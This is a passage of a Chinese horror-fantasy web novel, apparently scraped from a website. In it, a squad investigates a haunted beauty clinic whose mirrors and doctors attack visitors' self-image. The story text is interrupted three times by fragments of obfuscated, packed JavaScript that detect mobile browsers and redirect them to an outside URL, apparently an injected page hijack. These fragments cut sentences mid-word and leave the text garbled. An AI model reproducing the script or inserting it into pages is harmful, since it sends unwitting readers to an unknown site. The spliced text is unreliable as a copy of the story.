阮砚瞳加快脚步,尽量缩短看向镜子中自己的时间。 尽管如此,但毕竟不是完全闭着眼睛,余光中还是会时不时瞄到不想看的地方。穿过后排时,阮砚瞳撇到镜子中的脸,察觉到似乎到有些异样。 别想。 她提醒自己。脚上的步子更加迅速。 咚 阮砚瞳走的太急,又一直躲避看向镜子的视线,走着走着不小心撞到了一面镜子。 她揉了揉脑门,后退了两步,看着前方。 瞳孔聚焦后,她不得已看到了自己脸上的异样。 密密麻麻的红色小点正从她的左下颌处生长出来。 这是,过敏了? 她用手摸了摸脸颊,密集而凸起的触感异常清晰。红肿的色块在她白皙的皮肤上非常明显。 阮砚瞳一阵恶心。 刚才那个护士说的是真的?她们涂在她脸上的东西,不专门清洗会伤害皮肤?

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15928469|176272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 【系统提示情绪熵值-2%】 没有需求也要给你创造需求,这推销策略也太恶心了吧。 阮砚瞳开始感受到面部的瘙痒和炙烧感,而且它在不断地蔓延。 阮砚瞳不敢多在镜子前停留,加快脚步走向大厅尽头的挂号处,心里想着这个debuff离开污染区后最好会自行消失,不然可就麻烦了。 【系统提示情绪熵值-1%】 阮砚瞳禁止自己再胡思乱想。系统里她的情绪熵掉到90%了,再往下掉,情绪控制力减弱,想象幻觉进一步出现,数值就不会这么保守地减少了。 人一旦陷入某种情绪之后会越陷越深,很难抽离。 阮砚瞳扫了一眼频道,看到姜岑的数值也有下降,但林安时...97%?怎么还上升了。 阮砚瞳脑子想事的功夫,脚已经走到了挂号处。 挂号台里的护士看到患者来了之后,迅速开始工作,摸向桌子上的一沓纸。“您好...您的挂号单...”她递给阮砚瞳一个单子。 阮砚瞳疑惑地接过来。单子上面写的 2诊室李利副教授。 她皱起眉头:“我也没说要挂号啊。”这不是强买强卖吗。 “我们...周年庆优惠...挂号免费...”护士一直用僵硬的微笑跟阮砚瞳沟通。 又是周年庆,不会它们一整年都在过周年庆吧。 算了,你说什么就是什么吧。 阮砚瞳无奈接受下周年庆这个设定,没再多跟护士纠缠,看了眼挂号单,往里面的诊室走去。 她走的很匆忙,没抬头注意路况,不小心撞到了一个尸鬼。 “哎呦...” 声音来自一个听上去很虚弱的老阿姨。 阮砚瞳下意识伸手去扶了一下。“不好意思。” 尸鬼闻声抬头,看了看阮砚瞳。 这个尸鬼年纪大概50岁左右,一直在二层来回走动,看打扮不是工作人员,也没有工作人员统一的蛇精脸。但也不像是那些来美容的贵妇客人,她的身着非常简朴。 尸鬼没有因为被撞到而恼怒,反而像是抓住了希望一样,抓住阮砚瞳的双臂。“姑娘...你认识姚霏霏吗...我找姚霏霏...” 姚霏霏是谁? 阮砚瞳留了个心,向她询问:“阿姨,姚霏霏是这儿的工作人员,还是顾客啊。” 尸鬼阿姨仿佛没听见阮砚瞳在说什么,松开抓着阮砚瞳的双手,失落地低下头。 “啊...不知道啊...打扰你了...我再找找...” 说完,转身离开了。 阮砚瞳没有因为她的答非所问而感到莫名其妙。 尸鬼只会重复生前的行为,说生前说过的话。应该是她来到这里之后,从来没问到过什么消息,也没有人向她询问过什么,只当是个疯老太婆随意打发了。 尸鬼阿姨离开后,阮砚瞳注意到地上有个东西。应该是她们刚才撞到一起之后,尸鬼阿姨不小心掉落的。 阮砚瞳蹲下身,拿起看了看。是一个平安符,串着一个证件照做的挂件。 证件照上是一个女孩。单眼皮,不大的眼睛,鹅蛋脸,但长得还蛮有辨识度的,是那种看上去很舒服的脸。 这是阿姨要找的姚霏霏吗? 目前还没有什么线索和头绪,先留着吧。阮砚瞳收起平安符,起身进了诊室区。 14.疯狂美容院(3) 2号诊室门外 阮砚瞳看着诊室门口挂着的医生介绍。 李利副教授擅长解决肥胖、腿部肌肉堆积等身材问题 阮砚瞳常年锻炼,没有身材方面的问题,她应该不会因此产生情绪。她自信地推开诊室门。 这个房间里,又全部都是镜子,包裹住了四面的墙壁。而且这次更夸张,连地面上都铺满了镜子。 阮砚瞳走进诊室,环视了一圈。 这个空间中铺满的镜子并不是像舞蹈教室里的那种标准有序排列,严丝缝合,规则平整,而是随意错乱的排布,制造出一种奇特的诡异感。 有些镜子也并不是完整的一整块,而是很多碎裂的镜子连接拼凑而成,一条挨着一条,像扇子一样展开。 因为这些片面的碎片,从观看者的视角看过去,镜子中反射出了无数个身影。 无数个阮砚瞳正在审视着自己。 阮砚瞳盯着镜子,手臂上泛起一阵鸡皮疙瘩,一只脚后退了一步,不小心踩在一块不平整的镜子面上,脚下传来玻璃裂开的咔吱声。 这声响把她的注意力拉回来,她收回看向镜子的视线,专注在眼前。 房间中间靠后的位置有一张办公桌,桌后的医生闻声抬起了头,眯起了眼睛,仔细打量起阮砚瞳。 “小姑娘...你好啊...” 阮砚瞳向他走近了些,看到了他挂着的名牌。是诊室门口介绍的那个人,李利。 李利是个胖胖的男医生,看上有些臃肿。他坐在椅子里,堆积的肉把椅子的各个面挡的严严实实,扶手都只露出了半边。 与之形成强烈对比的,是在他的身后站着一个瘦的脱相的女护士。女护士没有什么反应,像个花瓶一样伫立在那里。 李利的办公桌子上散落着一些病例,阮砚瞳快速扫了一下。某些病例还沾上了油污。 他再次开口说话。“小姑娘...身材还可以啊...” 还挺冒犯的,阮砚瞳觉得。 这男的自己身材不咋地,到底有什么资格评价我。 李利完全没觉得自己说的话有问题,继续点评。“但还是有点...微胖了...” “是么。”喜欢骷髅架子就去墓地里挖。 阮砚瞳在心里一边骂着,一边装作漫不经心地回应。她想趁机顺走桌子上的病例。 李利的眼睛溜溜地转着,抬起手指了指阮砚瞳的肚子。“你看看...赘肉都出来了...” 阮砚瞳顺资料的动作被它打断,她收回自己摸上桌子的手,看上去合理地摸了摸自己的肚子。 感觉上确实好像有一点点。是炸鸡,罪魁祸首还是这几天的炸鸡。 李利似乎对她这种程度的反省并不满意,他往后一仰,椅子顺着向后滑了出去。他敲了敲正对着阮砚瞳的镜子,一个劲的摇头。 “啧...你看看自己...” 这点程度到底有什么可看的,我整体还是很健康啊,又没... 阮砚瞳抬起头,看到了镜子中自己的样子,刚刚毫不在意的思绪断在了半空。 镜子里,她的身体上的肉开始膨胀,腰上,脸上,腿上,胳膊上,不断地开始生长出脂肪,一层又一层。 阮砚瞳猝不及防地看到了一个她从未想象过的,异常肥胖的自己。 李利眼中的她仿佛一直就是这个样子。他叹息地摇摇头,对她说:“很多人...不注意管理...等到胖到不行了...才发现...” 镜子中,在她肚子上的赘肉不断涌出后,上衣终于兜不住,下摆翻了出来,露出白花花的腰。衣服紧紧地贴在她身上,显得非常滑稽。 看着这种让人难受的画面,阮砚瞳却并没有立刻因此产生什么情绪。 出于对自己身体状况的了解,她无法仅从片面的视觉反射中,就信任这个事情的真实性。 眼见一定为实吗? 阮砚瞳皱起眉思考。一个C级污染区,可以这么大程度地改变一个人的状态吗。 她低下头想核查自己的身体状况,但地面的镜子也呈现出一个肥胖的阮砚瞳,影响着她的判断。 她往办公桌前靠了靠,找到没有镜子的角度,伸出胳膊,辨认自己的状态。 一切正常。 这是镜子呈现出的错觉。是镜子自己的“视觉标准”。 她有点生气,明明自己是正常健康的状态,但就有一些人出于各种原因,拿着各种角度,或明或暗地对你说,你这身材还是不行啊,还是要再减减才好看。 阮砚瞳看着镜子里的自己。她目前这种状态,也算是一种“上镜”不好看吧。 阮砚瞳大概理解了林安时的情绪熵为什么始终在增加。 这个污染区一直在用尽各种办法试图丑化你。 【系统提示情绪熵值+2%】 阮砚瞳深吸一口气,压住自己的怒气。 频道里传来林安时的声音。“阮砚瞳,你自己可以吗?” 这里的信号恢复了,林安时接到阮砚瞳刚才上上下下的数据,立刻询问她的情况。 “可以。”阮砚瞳看着坐在对面一脸横肉对着她连连摇头的李利,面无表情地回复。 真让人火大。 “但队长。”阮砚瞳向林安时发问。 “我可以砸镜子吗?” 情绪不好,就要发泄出去才对。 阮砚瞳其实更想砸了李利,但直接攻击尸鬼可能会引发它们的暴起,不过破坏场景应该没多大问题吧? “砸吧。”林安时无所谓地说。“我刚才已经砸过两面了,没啥事。” 嘭嘭嘭嘭嘭 林安时话音刚落,阮砚瞳朝着房间内各个面的镜子开枪。 镜子哗啦哗啦地碎落在地。 房间四壁顿时满目疮痍,碎落的镜子后露出裸色的墙皮,显得十分残破。 不被这些东西包围,阮砚瞳感觉自己心里畅快了一些。 坐在椅子里的李利一动没动。他没有生气,反而因为阮砚瞳的恼火而更觉得有意思,似笑非笑地看着她。 “我理解...你的焦虑...” 理解你大爷。 “有...一劳永逸的办法...” 又要开始推销项目了是吧。 “只要你能克服恐惧...做切胃...或者抽脂...能够很快瘦下来...” “风险大...回报也大...要不要试试...” 李利轻轻松松地讲出这些话,就像劝你去试试某个新开的微恐游乐项目一样。 他最后补充道:"勇敢的女孩...才配美丽..."

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15945348|176272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 勇敢的女孩想一枪崩了你。阮砚瞳对着李利举起枪。 她还没有开枪,四周就又一次响起碎裂镜子交错的声音。 哗啦哗啦- 她转头看过去。这声音不是出于镜子再次碎裂,而是刚才被她打碎的镜子拼合回到了墙上。房间内部又恢复到了被镜子包围的状态。 镜子里依然呈现出那个越来越肥胖的她,只是碎痕更加多。 阮砚瞳盯着镜子看了几秒,突然就冷静了下来。 没用的,李利已经是个死人了。他大脑中的意识停留在此,再无改变的可能。 和这个死规则一样,在这里循环往复成为唯一的标准。 跟一个顽固的死人,讲什么道理,死人的话,听他的干吗。 忽视他。 阮砚瞳把枪收起,揣在腰间,往办公桌后走过去,想看看房间内还有没有什么值得搜寻的地方。 那个一直都没有说话的女护士依然静静地站在那里,微笑地目视前方,挡住了阮砚瞳的去路。 阮砚瞳看了看她的身上,即使最小号的护士服穿在她身上也松松垮垮的,像是被一支单薄的架子撑着,露出皮肤的地方骨头的痕迹清晰可见。 在她身上也没有发现任何名牌或其他什么显示出她名字的物品。 阮砚瞳轻轻推开她,想让她让出一条路,她要过去。 阮砚瞳明明没使多大的力,但这护士一碰就直直倒向了后面墙壁,头部撞击在镜子上。 从撞击点开始,一条缝裂开了。裂缝沿着脸部裂开一直到脖颈,然后消失在护士的衣领下。 护士依然依旧以直挺的姿势靠立在那,微笑着没有说话。 阮砚瞳迅速收回手,皱了皱眉头。这不碰瓷吗,我可什么都没干。 李利歪着头,看到这一幕,并没有说话,他只在意你够不够瘦到他的标准。其他的,不重要。 阮砚瞳把护士挪开让出一条路,她很轻,所以根本就没费什么力气。 一碰就碎,不会挣扎反抗,连制造的麻烦都很容易被解决。她好像摆在那里,就是唯一的用处。 阮砚瞳跨过她,拉开李利办公桌的抽屉,开始翻找有用的线索。 李利看着她,还在尝试对话:“你这样胖下去...可不行...” 阮砚瞳现在离他更近了,感觉周围的空气都变臭了几分。 她没理他,翻找出了一些报告,把觉得可能有用的挑了出来,连带着桌上的几个病例一起收了起来。 李利还是纠缠不休:“你的问题...打算如何解决呢...” 这人真烦,没有的问题到底要解决什么。 阮砚瞳不想再跟他多废话,冲着他摇了摇手中的病历。“我先看看其他人的情况和治疗方式,有什么问题再回来找你。” 阮砚瞳忍不住,又补充了一句。“而且李医生,治疗方案也不要只用在别人身上。就算医者不自医,多少也给自己诊断一下吧。” 李利没有反应。 她其实很想直接对他说,你能不能也照照镜子看看自己肥头大耳的,评价别人前能不能先评价下自己。 但她忍住了。她不知道有没有人跟他说过这个话,怕他破防了暴起,引起污染物的注意。 阮砚瞳白了他一眼,转身离开诊室。 15.疯狂美容院(4) 阮砚瞳离开2诊室,在走廊各个诊室门前张望。 每个诊室的门上都有块玻璃,能看到里面的情况。她想看看能不能碰上林安时和姜岑。 路过4诊室时,阮砚瞳看到里面的沙发上坐着一个女孩,呆滞地望向地面。 不是队员,也不是这的医护人员,像是一个来就诊的患者。她这个状态,会是崩溃的污染宿主吗? 阮砚瞳看了眼门口的医生介绍。郑仪美容外科教授擅长五官整形 这估计还蛮考验定力的,人如果在镜子面前仔细观察自己的五官,就总会觉得有点奇怪。 阮砚瞳前一阵每天在家躺着的时候,有一天看镜子就觉得自己可能朝一侧躺太多了,脸有点不太对称。 尽量不近距离看镜子吧。阮砚瞳心里做着预演,推开门走进4诊室。 这里没镜子,阮砚瞳稍微心安了一些。 沙发旁的女孩依然呆滞地看向地面。但医生郑仪已经有了反应。 郑仪四五十岁的样子,是个长相和善的阿姨,戴着金丝边的眼镜,看上去很有知识。 她冲阮砚瞳咧开一个可能之前看着会比较亲切的笑。但作为尸鬼,她的这个笑非常的僵硬。现在就只是单纯地瘆人。 “你好呀...” 这个医生看着没有李利烦人,阮砚瞳在她办公桌面前的椅子上坐下,想听听她接下来要说些什么。 “你长得...蛮好看的...”郑仪温和地说到。 阮砚瞳一愣,她从进来到现在,第一次收到对她样貌的正向评价,她倒是有点不知道该怎么应对了。 “谢谢。”阮砚瞳笑了笑,人肯定还是爱听好话的啊。 郑仪目不转睛地盯着阮砚瞳,露出欣赏和长辈对小辈的疼爱。“笑起来...也很可爱...” “嘿嘿。”阮砚瞳挠了挠脑袋,害羞了起来。原来这儿也有不搞心态的良心医生啊。 “这么好看的姑娘...要仔细看看呀...”说罢,郑仪拿着遥控器打开仪器。 话音落下,阮砚瞳隐约意识到了一丝不对劲,但已经晚了。阮砚瞳身边的一整面墙变成了一个巨型屏幕,屏幕上显示的,是阮砚瞳实时的、被放大了无数倍的、超高清的脸。 高清到她的每一个毛孔都清晰可见。 阮砚瞳毫无防备地转过头,看到自己刚才因为被夸赞而露出的傻笑。 眼睛被挤的很奇怪,眼下的细纹异常清楚,鼻翼向两侧张开,咧开的嘴里牙齿泛黄,法令纹显得非常明显,双下巴也展露无遗。 没有人是完美的,这个世界上的任何人都经不住这么放大审视。 顶级的美貌在这种镜头前都能被挑出不妥,更何况她一个长相一般的人。 她整个人僵住,脑子里开始怀疑。 我这么丑的吗? 【系统提示情绪熵值-3%】 阮砚瞳扭过头去,避开视线,不想再被这个东西影响。但内心已经有了一丝慌乱。 郑仪还是以她和善的状态笑着。“很正常...你要勇于直视...真实的自己...” 这话听着太有道理了,但阮砚瞳清楚的知道这不对,郑仪并不是为了让你接受真实的自己,她的目的是为了让你质疑真实的自己。 见阮砚瞳迟迟不肯面对,郑仪开始采取别的策略。 “没关系...我截了张图...方便我们仔细看...”郑仪起身,来到阮砚瞳的身后,转动她的座椅,推近了些,使她不得不面对着自己巨大的脸。 阮砚瞳被迫看着自己这张被放大到离奇的丑脸,有些恍惚。 还是太冲击了。 “眼睛的大小不太对称...有点大小眼啊...没关系...可以把这边的眼角开一下...” 确实。怎么一个大一个小。 【系统提示情绪熵值-2%】 “嘴也有点歪...你平时没察觉过吗...” 是有点歪,所以平时尽量不注意它。 【系统提示情绪熵值-3%】 “你脸部的比例...有没有觉得不太协调...” 挺长的,空白好多,而且非常扁。 【系统提示情绪熵值-4%】 郑仪站在阮砚瞳身后,像是个不停给学生纠错的老师一样。 看到阮砚瞳已经充分认识到自己的错误了,郑仪满意地笑起来。接下来要教导她如何改错了。 “我给你...做一个调整方案...”说着,郑仪放上了另一张照片,是阮砚瞳调整过后的脸。 把那些缺点都修正,优势都放大,将一切都规范到标准里去,一张漂亮的脸出现了。 阮砚瞳看着那张脸看的入迷,它像自己又不像自己。 那是一张完美的脸,并不是她之前在护士身上看到的,那种看上去很科技的蛇精脸。它很好看,五官协调舒适,恬静不张扬,但非常美丽,与原本的脸形成强烈的对比。 阮砚瞳的意识迷失在她这张完美的脸里。 没有人不想自己能更好看一点。如果我能长这样的话... 【系统提示情绪熵值-5%】 频道被打开。 “阮砚瞳,你还好吗,迅速回话。”林安时的声音及时打断了这一连串的审视和对比。 阮砚瞳立刻回过神,看了眼自己的情绪熵值,刚才数值在连续下跌,已经掉到了78%。 “我在。” 林安时:“你还控制得住吗?必要时刻,可以击杀尸鬼。” 阮砚瞳深吸一口气,闭上眼睛。回复林安时:“控制得住。” “别慌,我马上到。” 片刻沉默后,林安时还是不太放心,再次打开频道补充。“每个人都有瑕疵和缺陷,你不要因此就产生质疑。” 阮砚瞳闭着眼,试图让自己放空。道理我都懂,但面对真实的事情时,还是很难如此坚定。 “不是,阮砚瞳。”姜岑忍不住开口问出自己的疑惑。“你对面的那个尸鬼很完美吗?我碰到的这些尸鬼,都把自己整的奇形怪状的啊。” 阮砚瞳听到这话,睁开眼睛,看着郑仪。 郑仪脸上其实没有那么明显动过的证据,并不是之前看到的那种蛇精脸。她可能有保养,但岁月还是在她脸上留下了明显的痕迹。仔细看,那些问题,在她的脸上并不少。 这就是一个普通人会出现的问题。 对啊,都是一个物种,你跟我又有多大的不一样呢。 你为什么要评价我。我又为什么如此自然而然地将自己放置于被审视的位置。 标准为什么由你来制定。 没有人是完美的,这个世界上的任何人都经不住这么放大审视。 所以为什么要审视自己。 郑仪还在劝说。 “你完全可以更好...只需要一点小的调 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15952545|176272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 整...” “多可惜呀...如果你男朋友...近距离看着你的时候...发现不太好的地方...多扫兴啊... ” “但现在有这个条件了...你可以成为...最理想的自己...” “你的人生...可能会因此完全不同...” 郑仪抬手在阮砚瞳的脸上指指点点,像女娲一样,尝试调整自己的作品。 阮砚瞳知道,她说的的确都是事实,是他者对于她的客观评价,是某种规则下的对比。 她没什么好反驳的。 但它未必重要。它未必要对我产生意义。 不要任由话语将自己淹没,不要被困在此地。她有更重要的事要做,那才是她来这儿一趟的目的。 阮砚瞳挡开郑仪指点的手:“我不需要,让一下。” 她起身绕过郑仪,朝着身后的沙发走过去。 郑仪看着阮砚瞳从她的布局中挣脱出去,显得有些错愕,但最终没再说话。 阮砚瞳走近沙发上的女孩,女孩一直空洞地望着地面,她不得不蹲下来,才能看清她的正脸。 阮砚瞳在心里惊呼了一声。 这女孩高中年纪,白皙的脸上还保留着有青涩和稚气,但她长的非常好看,放在学校里绝对是校花级别,常年挂表白墙的那种。 这么好看的人也来咨询整形吗?难不成她想进娱乐圈?还是,这张脸是她整之后的结果? 要是整的,那这位郑仪教授确实是整商非常高了,这也太自然了吧。要是这种程度的话,没准真可以试试呢? 阮砚瞳这个念头刚出,立马拍了拍自己的脸。冷静点冷静点,别瞎想。 女孩还是没什么反应,阮砚瞳拿过她身边的背包翻了起来。先看看能不能确定她的身份。 还真有,她翻到一张学生证。 苏钰第五高级中学 高三(三)班 学生证上有一张证件照。阮砚瞳把它放在苏钰的脸庞边,对比了一下。照片上的样子比现在要小一点,应该是几年前拍的,但是跟她现在的样子没什么差别。 要么是几年前就整了,要么苏钰真的就是天生丽质妈生脸。 不过... 阮砚瞳把照片把照片拿近了些,仔细看了看。这张照片的质感,还有拍摄穿的衣服,有点眼熟。 阮砚瞳拿出刚才尸鬼阿姨掉落的证件照对比。 是一样的衣服,照片的形式也一样,看上去是同一家照相馆,用的一套模版。 这个苏钰和尸鬼阿姨要找的姚霏霏有什么关系吗?还是只是碰巧在同一家拍了照。 砰 诊室的门被推开,林安时有些紧促的小口喘着气。 “队长。”阮砚瞳见林安时进来,对她伸出了手,心虚地挥了挥。 林安时没理她,先环视了一圈诊室内,没发现什么危险。她喘匀了气,走进来。 阮砚瞳看林安时着急的样子,不好意思地摸了摸后颈。“哎呀,我刚才忘告诉你我在哪了,你找过来应该很辛苦吧。” 林安时听到这句话,看向阮砚瞳。 她才意识到有点奇怪,轻轻皱了下眉。 阮砚瞳确实没有跟她说过位置,但她好像凭着直觉,本能地往这边赶。 那么多诊室,她直接推开了4诊室的门。 而且她没有犹豫,几乎是肯定阮砚瞳在这里。 为什么? 16.疯狂美容院(5) 为什么? 林安时回忆了一遍,自己也说不清楚。 阮砚瞳看她疑惑的样子,也很困惑。我是说错啥话了吗?没有吧。 “怎么了,队长?”阮砚瞳小心翼翼问。 林安时停止了继续思考。算了不重要,可能是自己直觉变好了吧。 “没什么,这边什么情况?” 阮砚瞳指了指面前的女孩:“刚弄清楚这位同学叫苏钰,还没搞清楚她到底是啥情况。” “你再看看她身上有没有什么信息。”林安时说着,走向郑仪的办公桌,开始翻病例。 一旁的郑仪察觉到林安时的动作,倒是也没阻止,只是来到林安时身边站定,微笑地看着她翻弄。 林安时抬头看了郑仪一眼,没搭理她,低下头继续干正事。翻找了半天,林安时对阮砚瞳说:“这儿没有她的病例。” 阮砚瞳疑惑,“那她怎么会出现在这。” “也有可能是污染区形成后跑进来的。那时候郑仪已经变成尸鬼了,没再录入。”林安时分析道。 推断到这,林安时打开频道呼叫不知在哪处搜寻的姜岑。“姜岑,有空帮我去前台找一下,有没有登记表,是一个叫苏钰的人填的。” 虽然污染爆发以后,尸鬼医生们都不再录入病例信息了,但她们几个进来的时候被前台叫去填写了登记表。即使苏钰也是后进来的,那也应该会留下信息。 “收到。”姜岑回复。 林安时把事情安排妥当之后,站起身来,看了看旁边的郑仪。郑仪仿佛已经等候多时,微笑着示意林安时发问。 林安时指了指苏钰,问她:“你认识她吗?” 郑仪没有回复她的问题,而是继续慈爱地看着她,不紧不慢地张口。 “你好呀...这位...小美女...长得真漂亮...” 阮砚瞳听到她们的对话,回头提醒林安时。“队长,你小心。这个人的方式,还挺歹毒的。” 林安时轻轻点了点头,笑了笑,回复郑仪刚才的话。“怎么了,有什么要指教的吗?” 郑仪:“你很好看啊...我们一起...来看看...” 墙上立刻显示出林安时被放大的脸。 【系统提示林安时情绪熵值-1%】 阮砚瞳看着系统提示,给自己找补。是吧,你看这放谁都要心下一惊。 林安时背对着阮砚瞳,盯着展示着自己脸的屏幕,一动不动。 郑仪在一旁欣慰的看着,想要继续说写什么。但下一刻,她像是察觉到什么危险一样,准备张开的口僵在半路,没有说出半个字。 【系统提示林安时情绪熵值+2%】 嗯?这什么情况?阮砚瞳眯了眯眼睛,又仔细看了一遍系统提示,以为自己看错加减号了。 【系统提示林安时情绪熵值+2%】 没看错,林安时的情绪熵还在增加。 阮砚瞳观察着林安时的背影,她还是那么站着,没有一点动作。 不对,有什么东西不一样了。阮砚瞳看向屏幕上林安时实时显示的脸。 【系统提示林安时情绪熵值+2%】 那是一张写满了愤怒和不满的脸。 高清的百倍镜头下,一切都被放大,缺点、瑕疵被放大。 同样的,不满也会被放大,愤怒也会被放大,气势也会被放大。 林安时用这张放大的脸,清清楚楚地告诉注视着这张脸的每一个人。 我很不爽。 房间内的纸、笔、杯子,一切零碎的东西都在离开所支撑的物体表面,轻微上升。 林安时的天赋【引力】在起作用。 郑仪虽然已经是个尸鬼了,但依然在这种压迫下,说不出一句话。 就说吧,你惹她干嘛。阮砚瞳一边在心里替队长嚣张,一边死死盯着频道里林安时的情绪熵值。 天赋是以精神和情绪为力量的东西,因此情绪熵值提升,天赋能力也会有提升。 阮砚瞳听说过一些人专门去训练这种打法,以此来达到短时间内的天赋增强。 但这种方式一直不被官方提倡。主动提升情绪熵并不完全可控,若是不小心,情绪熵过高引起了失控崩溃,后果可比被吸食成为尸鬼严重的多。 尤其是天赋能力强的人,被污染寄生后形成的污染区非常危险。 好在林安时的情绪熵值到了103%后停止了攀升。 房间里回响起物品坠落在地的摔打声。 林安时转过头,神情冷漠地质问郑仪。 “谁允许你,可以这么看我的。” “真没礼貌。” 房间顶部的墙壁出现一道裂缝,随后,数十条裂缝迅速铺开。 显示图像用的投影仪从墙壁掉落在地,镜头摔裂开,机身被砸出凹陷。 啊,姐好帅。 阮砚瞳在一旁星星眼。 林安时没管呆愣在一旁的郑仪,来到阮砚瞳身边。 “你刚才是因为这个掉的情绪?” 阮砚瞳点点头。 林安时脸上已经恢复平静,耐心地给后辈建议。“实在无法平静地任由他去的话,可以愤怒的啊。” 阮砚瞳继续点头,但随后想了想,又一脸为难。“但我没你强啊,我没天赋,万一它暴起了怎么办。” 林安时笑了笑。“注意是对的,但也不用这么畏手畏脚。” “没事,多进几次污染区就知道了,什么人能惹,什么人不能惹。” “队长。”频道里姜岑的声音响起,她已经查到了林安时交代的事情。 “苏钰是第一次来,进入时间在污染区形成的后一天。” 看来是后来进入这里被吸食的情绪,那可以排除苏钰是污染宿主的可能性。 林安时在苏钰眼前挥了挥手,苏钰依然空洞地望向地面。 “我刚才问她什么都没有反应。”阮砚瞳解释道。 林安时:“算了,去别的地方看看吧。” 她打开诊室门正要出去,但门外的人挡住了去路,她不得不停下脚步,有些疑惑地看着堵在门口的人。 “姑娘...你认识姚霏霏吗...我找姚霏霏...” 是刚才那个尸鬼阿姨。 阮砚瞳正想跟林安时解释这个人是谁的时候,她身后的苏钰突然有了反应。她站起来,走向尸鬼阿姨。 “杨姨...你怎么也在这...你也是来找霏霏的吗...” 苏钰,也认识姚霏霏? 杨姨并没有因为这句话激 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“看来这个姚霏霏,很关键啊。”阮砚瞳拿出姚霏霏的照片,喃喃道。 林安时侧头看了一眼照片,摇摇头。“我刚才搜的二楼另半区诊室,没看到这个人。” 阮砚瞳把照片发到频道里,姜岑也回复说没有看见。她们各自翻了翻手里拿到的病例,都没有发现叫姚霏霏这个名字的。 “那就是在三楼了。”林安时和阮砚瞳离开诊室,往楼梯口去。 姜岑正好从一楼上来。 林安时问姜岑:“你想去二楼各诊室找找看有没有姚霏霏的病例,还是一起去三楼。” 林安时解释,“我俩是都不想再进诊室了,我控制不住想杀人,阮砚瞳控制不住掉情绪。” “我也不想去诊室。”一如反常地,姜岑没再提出要自己行动。 林安时笑:“我刚才看到你也掉了几个点,没想到你也会容貌焦虑。” 姜岑反驳道:“不是,这地儿太烦了,想着办法恶心你。” 阮砚瞳深有同感,小鸡啄米似的点头。 姜岑继续说:“我刚才进了一楼一个诊室,一个什么专门管皮肤松弛的地方。我进去之后,就看到镜子里的我自己的皮越来越松,慢慢在往下掉。” “人拖着皮,你能想吗?都快掉到地上了。”姜岑恶心的顾不上自己酷姐的形象,用手比划着形容,希望面前的两个人能理解她刚才看到的画面。 这个污染区套路还挺像的。 阮砚瞳忍不住脑补,她想起来之前看到过把□□甩到肩上干活的妇女。按姜岑描述的这样,岂不是要把全身的皮扎紧捆一捆,才能正常活动。 阮砚瞳觉得自己后颈上的寒毛都竖起来了,快速摇摇头。这她真的不太行哦,如果亲眼看到,应该蛮冲击的,是会半夜做噩梦的场景。 姜岑看着阮砚瞳的表情,像是找到了知己。“你看,阮砚瞳懂我。” 林安时也点点头,“确实,我也觉得很烦。” “虽然也有一部分我今天心情不太好的原因,但这个污染区总在踩我的雷点。很不痛快。” 林安时抬头看了看通往三楼的楼梯,眼神中透出凶狠。 “尽快解决吧,不要再跟它拖了。” 17.疯狂美容院(6) 三楼的布局很规整简单,走廊尽头是一间手术室,两侧是几间住院观察用的病房,还有一间是院长办公室。 林安时扫了一下环境,安排道:“我们分开查吧,能快点,有消息随时同步。” 姜岑点了点头,大步朝前走去。阮砚瞳则推开离自己最近的一间病房。 病房环境还不错,双人间,整体是暖色调,布置的简洁淡雅,每张病床旁配齐了桌子。 靠门的病床空着,窗边的那张床上,一个女生半躺着靠在枕头上,脸上缠满了白色绷带,只露出了一只眼睛。 阮砚瞳顺手在身边桌子上的花瓶里抓起一支花,走到女生床边。 阮砚瞳也渐渐摸清了污染区尸鬼的路子,它们只会重复作为人类时做过的动作和说过的话,所以想要从尸鬼的口中获取什么信息,就要尽可能尝试模拟他们生前可能会遇到的情景,或发生过的对话。 没准之前也有人来探望过她,或许能顺着问出点什么。 阮砚瞳靠近,看清了病床一头贴着的名字。 张心 阮砚瞳:“张心,我来看看你。” 张心望着对她说话的阮砚瞳。 阮砚瞳实在搞不清张心是什么状态,她整张脸几乎都覆盖在纱布下,很难有什么表情。她只能想象着继续问。 “今天感觉怎么样。”看上去张心脸上挨了不少刀,在恢复期应该会很疼,这么问合理。 张心艰难的开口,声音微乎其微。阮砚瞳看到她嘴部的纱布动了动,俯下身去听。“还是很疼...不过值得...” 阮砚瞳缓缓直起身看着她。 真的么? 阮砚瞳正想继续问,一个护士突然推开门径直向张心走过来。 “今天...感觉怎么样...” 喂!和我撞台词了!阮砚瞳退到一旁观察。 “还是很疼...不过值得...”张心又重复了一遍。 护士似乎对张心的回答很满意,僵硬地露出微笑。“这么想...是对的...” 护士看了眼手中的板子,继续说:“别人不美...是因为不肯吃苦...不肯努力...” 